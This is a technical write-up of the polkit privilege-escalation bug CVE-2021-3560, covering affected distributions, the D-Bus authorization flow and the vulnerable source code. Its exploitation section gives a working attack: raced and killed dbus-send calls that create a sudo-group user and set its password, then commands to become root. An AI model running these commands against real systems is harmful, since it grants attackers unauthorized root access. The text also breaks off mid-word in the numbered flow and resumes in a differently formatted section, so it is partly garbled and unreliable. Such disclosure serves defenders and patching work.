A seven-year-old polkit bug that hands out root

In early June 2021, a privilege escalation vulnerability in polkit was publicly disclosed and patched. Tracked as CVE-2021-3560, the bug lets an unprivileged local user obtain a root shell using nothing more than standard command-line utilities. The underlying flaw was introduced seven years ago, in commit bfa5036, and first shipped with polkit 0.113.

Because polkit is a dependency of systemd, virtually every systemd-based Linux distribution runs it. Yet the vulnerable code did not appear everywhere at once. Debian uses a fork of polkit with its own version numbering, where the bug arrived via commit f81d021 and shipped with version 0.105-26. As a result, Debian 10 ("buster"), which carries 0.105-25, is not vulnerable, while Ubuntu and other derivatives based on Debian unstable are. The affected systems fall roughly as follows:

Distribution Vulnerable?
RHEL 7 No
RHEL 8 Yes
Fedora 20 (or earlier) No
Fedora 21 (or later) Yes
Debian 10 (“buster”) No
Debian testing (“bullseye”) Yes
Ubuntu 18.04 No
Ubuntu 20.04 Yes

polkit's role in the system

When you interact with a graphical authentication dialog, polkit is the service making the decision behind the scenes. It acts as an authority: if an action requires extra privileges—creating a user, for instance—polkit determines whether the requester may proceed. Some requests are decided immediately, while others prompt an administrator to authenticate via an authentication agent, which is merely a conduit that forwards the password to the polkit daemon.

Despite its common association with graphical desktops, polkit also operates in text-mode environments. The pkexec command, for example, spawns its own terminal-based authentication agent over SSH:

$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)
Password:

Another path into polkit is dbus-send, a generic D-Bus messaging tool usually installed on systems that use D-Bus. The command below asks accounts-daemon to create a new user:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Over SSH, this command fails immediately, because dbus-send does not start its own authentication agent the way pkexec does.

Exploiting the race condition

The exploit is unusual in how little it requires. With bash, kill, dbus-send, and a couple of default packages, any local user can escalate to root. The proof of concept relies on accountsservice and gnome-control-center, both of which ship with Ubuntu Desktop by default; on a minimal RHEL server you would install them first:

sudo yum install accountsservice gnome-control-center

The root cause lies in a race between the time dbus-send sends its D-Bus method call and the moment polkit finishes evaluating the request's authorization. If the client process is terminated while polkit is still processing, polkit can end up treating an incomplete request as authorized. The trick is timing: you run the dbus-send command and kill it mid-flight.

Finding the right moment is a matter of measurement. First, time a normal invocation:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

The output shows something like this:

Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

If the command completes in, say, 16 milliseconds, kill it after roughly half that interval:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Retries and small adjustments to the delay are expected. A successful run creates a new user named boris, already added to the sudo group:

$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

To make the account usable, set a password by first computing a hash with openssl:

$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Then repeat the race, this time invoking the SetPassword method with the new user's UID and the generated hash:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Once more, the delay may need tuning. If it works, you can log in as boris and run sudo to become root:

su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

How the pieces interact

Five main processes come into play during a request:

Diagram showing five processes involved in dbus-send command: "d-bus send" and "authentication agent" above the line, and "accounts-daemon" and "polkit" below the line, with dbus-daemon serving as the go-between

Above the dashed line are the unprivileged processes—dbus-send and the authentication agent. Below it, the privileged system processes. At the center, dbus-daemon brokers every message, and its role is security-critical. It gives each connection a unique bus name (for example, ":1.96") that cannot be forged and that is protected from reuse attacks, unlike a PID. It also enforces that certain D-Bus addresses, such as org.freedesktop.PolicyKit1, can only be registered by root.

A normal request follows this flow:

  1. dbus-send asks accounts-daemon to create a new user.
  2. accounts-daemon receives the message with the sender's unique bus name attached by dbus-daemon.
  3. accounts-daemon queries polkit: is connection :1.96 allowed to do this?
  4. polkit asks dbus-daemon for the UID behind :1.96.
  5. If the UID is root, polkit authorizes the request outright. Otherwise, it asks the authentication agent to collect credentials from an administrator.
  6. The agent prompts for the administrator password.
  7. The agent forwards the password to polkit.
  8. polkit answers accounts-daemon affirmatively.
  9. accounts-daemon cr

    Root cause: the missing error check

    The core flaw sits in the interplay between polkit and dbus-daemon. At the vulnerable moment, polkit asks the D-Bus daemon for the UID of a connection that no longer exists. dbus-daemon correctly returns an error — but polkit mishandles it. Instead of denying the request, polkit treats it as though it originated from UID 0 and authorizes it on the spot.

    That the trigger is timing-dependent comes down to multiple code paths. Polkit queries the requester's UID several times during a single authorization, and most of those paths do check the return value properly. Only one path drops the ball. Kill the dbus-send process too early and a correct path handles it, rejecting the attempt. To land on the buggy path you must disconnect at a very specific moment across several interacting processes — which is why the exploit often needs several tries. The subtle timing requirement also explains why the bug went undetected for seven years; an always-firing trigger would have been far easier to hit during testing.

    The function responsible is polkit_system_bus_name_get_creds_sync. Its unusual contract — returning TRUE while simultaneously setting the error parameter — looks like an intentional design at first blush, but it was a genuine bug. The fix, already applied upstream, changes the function to return FALSE on error. The problem was that almost every caller checks both the Boolean result and the error value before continuing. The flaw lived in the one caller that didn't.

    static gboolean
    polkit_system_bus_name_get_creds_sync (
    PolkitSystemBusName           *system_bus_name,
        guint32                       *out_uid,
        guint32                       *out_pid,
        GCancellable                  *cancellable,
        GError                       **error)

    Here is the vulnerable call path that skipped the error check:

    0 in polkit_system_bus_name_get_creds_sync of polkitsystembusname.c:388
    1 in polkit_system_bus_name_get_user_sync of polkitsystembusname.c:511
    2 in polkit_backend_session_monitor_get_user_for_subject of polkitbackendsessionmonitor-systemd.c:303
    3 in check_authorization_sync of polkitbackendinteractiveauthority.c:1121
    4 in check_authorization_sync of polkitbackendinteractiveauthority.c:1227
    5 in polkit_backend_interactive_authority_check_authorization of polkitbackendinteractiveauthority.c:981
    6 in polkit_backend_authority_check_authorization of polkitbackendauthority.c:227
    7 in server_handle_check_authorization of polkitbackendauthority.c:790
    7 in server_handle_method_call of polkitbackendauthority.c:1272

    The actual defect is in check_authorization_sync, where the error value is simply never inspected before the code proceeds:

    /* every subject has a user; this is supplied by the client, so we rely
     * on the caller to validate its acceptability. */
    user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                           subject, NULL,
                                                                           error);
    if (user_of_subject == NULL)
        goto out;
    
    /* special case: uid 0, root, is _always_ authorized for anything */
    if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
      {
        result = polkit_authorization_result_new (TRUE, FALSE, NULL);
        goto out;
      }

    The policykit.imply dependency

    The initial proof-of-concept depends on more than just accountsservice: it silently relies on gnome-control-center being installed. Even the exploit's author didn't realize this until the Red Hat security team couldn't reproduce it on a base RHEL 8.4 VM, while it worked flawlessly on Fedora 32 and CentOS Stream. The difference was GNOME — or rather, the polkit annotation that GNOME ships.

    Polkit supports action implication: when one action is authorized, polkit can grant an equivalent one without prompting again. GNOME's user accounts panel uses this pattern extensively. After you authenticate once to unlock administrative settings, adding another user doesn't ask for another password.

    Screenshot of GNOME settings dialog

    The relevant policy is declared in gnome-control-center's policy file:

    /usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy

    The implication at issue:

    Authorization to perform user-account administrator actions through the control center also authorizes account management via accountsservice.

    GDB traces on the RHEL VM revealed why the exploit failed there: the vulnerable stack trace never appeared. The caveat lives in step four of that trace — a recursive call from check_authorization_sync back into itself at line 1227, where implication annotations are evaluated:

    PolkitAuthorizationResult *implied_result = NULL;
    PolkitImplicitAuthorization implied_implicit_authorization;
    GError *implied_error = NULL;
    const gchar *imply_action_id;
    
    imply_action_id = polkit_action_description_get_action_id (imply_ad);
    
    /* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */
    implied_result = check_authorization_sync (authority, caller, subject,
                                               imply_action_id,
                                               details, flags,
                                               &implied_implicit_authorization, TRUE,
                                               &implied_error);
    if (implied_result != NULL)
      {
        if (polkit_authorization_result_get_is_authorized (implied_result))
          {
            g_debug (" is authorized (implied by %s)", imply_action_id);
            result = implied_result;
            /* cleanup */
            g_strfreev (tokens);
            goto out;
          }
        g_object_unref (implied_result);
      }
    if (implied_error != NULL)
      g_error_free (implied_error);

    For the bypass to work, the error from polkit_system_bus_name_get_creds_sync must not merely be ignored at line 1121, but the caller, too, must drop it. In this recursive block, a temporary implied_error variable goes unchecked whenever implied_result isn't null. That, in turn, enables the authentication bypass.

    This constrains the attack to polkit actions implied by other actions — which is exactly why the original PoC needs gnome-control-center. But a stock RHEL is not out of the woods: packagekit, installed by default, carries a suitable policykit.imply annotation for the package-install action. An initial exploit phase can use packagekit to install gnome-control-center, then continue with the standard accountsservice attack chain.

    Impact and remediation

    CVE-2021-3560 gives an unprivileged local user root access. The exploit is fast and easy, so patching is urgent. Every system running polkit 0.113 or newer — including RHEL 8 and Ubuntu 20.04 — is exposed. Install vendor updates immediately.